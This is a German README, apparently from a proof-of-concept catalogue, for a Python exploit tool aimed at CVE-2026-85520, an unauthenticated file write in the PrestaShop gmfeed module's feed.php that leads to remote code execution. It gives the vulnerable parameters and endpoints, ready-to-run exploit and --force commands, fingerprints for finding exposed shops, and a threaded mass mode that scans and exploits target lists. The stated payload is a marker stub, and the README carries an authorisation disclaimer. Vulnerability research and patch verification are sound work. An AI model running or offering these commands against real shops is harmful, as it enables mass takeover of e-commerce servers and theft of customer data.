
Python-PoC für CVE-2026-85520: erkennt und nutzt unauthentifiziertes beliebiges Dateischreiben in PrestaShop gmfeed feed.php aus, um RCE zu erreichen, mit Massen-Scanning.
Python-3-PoC für CVE-2026-85520 — MyPresta.eu / VEKIA Google Merchant Center Feed-Modul (gmfeed) für PrestaShop — nicht authentifiziertes beliebiges Schreiben von Dateien auf feed.php, wenn „Save to file“ / URL-Export verwendet wird. CVSS 3.1 9.3 Kritisch (Software).
| PoCbit | https://pocbit.org/pocs/cve-2026-85520 |
| Katalog | https://pocbit.org/pocs/ |
| Modul | gmfeed (Google Merchant Center Feed) |
| Hersteller-Fix | ≥ 2.3.10 (Installation von 2.4.1+ empfohlen) |
| CWE | CWE-20 / CWE-73 / CWE-434-Klasse (fehlende Authentifizierung + Pfad-/Inhaltskontrolle beim Schreiben) |
gmfeed ist ein kommerzielles Modul, das in PrestaShop-Shops einen XML/CSV-Produktkatalog für das Google Merchant Center erzeugt. In älteren Versionen konnte der Endpunkt modules/gmfeed/feed.php, wenn der Katalog per URL erzeugt und auf der Festplatte gespeichert wurde (Save to file / cron), ohne Authentifizierung mit optionalen Parametern den Namen, den Pfad, die Erweiterung und den Inhalt der Ausgabedatei akzeptieren.
Ein Angreifer kann mit einem crafted GET/POST beliebige Dateien auf dem Server schreiben (z. B. pocbit_xxxxx.php) und diese anschließend über das Web ausführen, um Remote Code Execution (RCE) zu erlangen. Das bedeutet die vollständige Übernahme des E-Commerce-Servers — testen Sie dies nur in einer Umgebung mit autorisiertem Pentest / eigenem Lab-Shop.
Laut Ankündigung des Herstellers (MyPresta.eu): Versionen vor 2.3.10 sind betroffen; der Fix fügt shopspezifische Schlüssel zu den Save-to-file-URLs hinzu und unterbindet unbefugtes Schreiben. Das Überschreiben des alten ZIP reicht nicht aus — das Modul muss mit „delete module files“ entfernt und 2.4.1 sauber installiert werden.
CVE-2026-85520 betrifft das gmfeed-Modul für PrestaShop (Google Merchant Center Feed von MyPresta.eu). Das Exportskript feed.php konnte im Save-to-Disk-Modus über URL erreicht werden (exportsavefile=1 und zugehörige Exportparameter, dokumentiert in den Changelogs des Herstellers) und setzte Folgendes nicht durch:
modules/gmfeed/ oder über Traversal-Sequenzen.Auswirkung: nicht authentifiziertes beliebiges Schreiben von Dateien → RCE (Ausführen der hochgeladenen .php über HTTP).
Öffentliche Herstellerparameter, auf die in den Versionshinweisen verwiesen wird, umfassen export_file_format, exportsavefile und benutzerdefinierte Export-Dateinamen-Optionen, die in der 2.3.x-Reihe hinzugefügt wurden. Dieser PoC rotiert gängige Parameter-Aliase (exportfilename, exportfilecontent, export_path usw.) gegen:
/modules/gmfeed/feed.php/index.php?fc=module&module=gmfeed&controller=feed| Modus | Verhalten |
|---|---|
| check | Erkennt gmfeed (feed.php, config.xml, Marker), liest die Modulversion aus, markiert < 2.3.10 |
| check --aggressive | Leichtgewichtige Save-to-File-Sonde (keine permanente Shell; exportsavefile=0 im Sondierungspfad) |
| exploit | Schreibt pocbit_*.php-Sonde mit Marker POCBIT-85520-OK, verifiziert über ?pocbit=1 |
| exploit --dry-run | Gibt nur die Sondenanfragen aus (keine Shell-Platzierung) |
| mass | --list + -j → hits.txt / exploited.txt + JSONL |
--lab | Lokales Mock-feed.php — muss exploited: true anzeigen (Plausibilitätsprüfung) |
--force | Überspringt die Schutzprüfungen „Modul fehlt / gepatchte Version“ |
JSONL-Felder: pocbit, pocbit_catalog, pocbit_page, cve, vendor, module, product.
Sicherheit: Die Standard-Payload ist ein nur-Marker-PHP-Stub, keine vollständige interaktive Shell. Entfernen Sie geschriebene Dateien nach autorisierten Tests.
pip install requests urllib3cd CVE-2026-85520
python poc.py --lab
Erwartet: grün [LAB], JSON "exploited": true, "shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php".
python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive
python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force
Nach dem Exploit manuell überprüfen:
https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK
python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run
Ausgaben:
| Datei | Inhalt |
|---|---|
cve_2026_85520_results.jsonl | Alle Prüfzeilen |
cve_2026_85520_exploit.jsonl | Alle Exploit-Zeilen |
hits.txt | Tab: URL, Status, Version |
exploited.txt | Tab: URL, shell_url, Version |
Modul-Präsenz:
body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"
Version (falls angezeigt):
/modules/gmfeed/config.xml
Statische Feed-Artefakte (nicht allein als Schwachstellenbeleg):
/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml
Hinweis: Viele Shops setzen nach MyPrestas Sicherheitshinweis von 2026 ≥ 2.3.10 ein — rechnen Sie bei internetweiten Listen mit patched_version oder write_or_verify_failed.
feed.php-Kopie).modules/gmfeed/ auf unerwartete .php-Dateien prüfen.Referenz: MyPresta-Ankündigung zum Sicherheitsfix.
{
"pocbit": "https://pocbit.org",
"pocbit_catalog": "https://pocbit.org/pocs/",
"pocbit_page": "https://pocbit.org/pocs/cve-2026-85520",
"cve": "CVE-2026-85520"
}
Nur auf Systemen verwenden, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff ist illegal. PoCbit stellt Proof-of-Concept-Tools für defensive Validierung und Patch-Verifizierung bereit.
CVE-2026-85520 PoC (PoCbit) — PrestaShop MyPresta gmfeed ≤2.3.9 unauthenticated arbitrary file write via feed.php (Save to file URL) → RCE. check + exploit + mass bulk (--list -j). https://pocbit.org/pocs/cve-2026-85520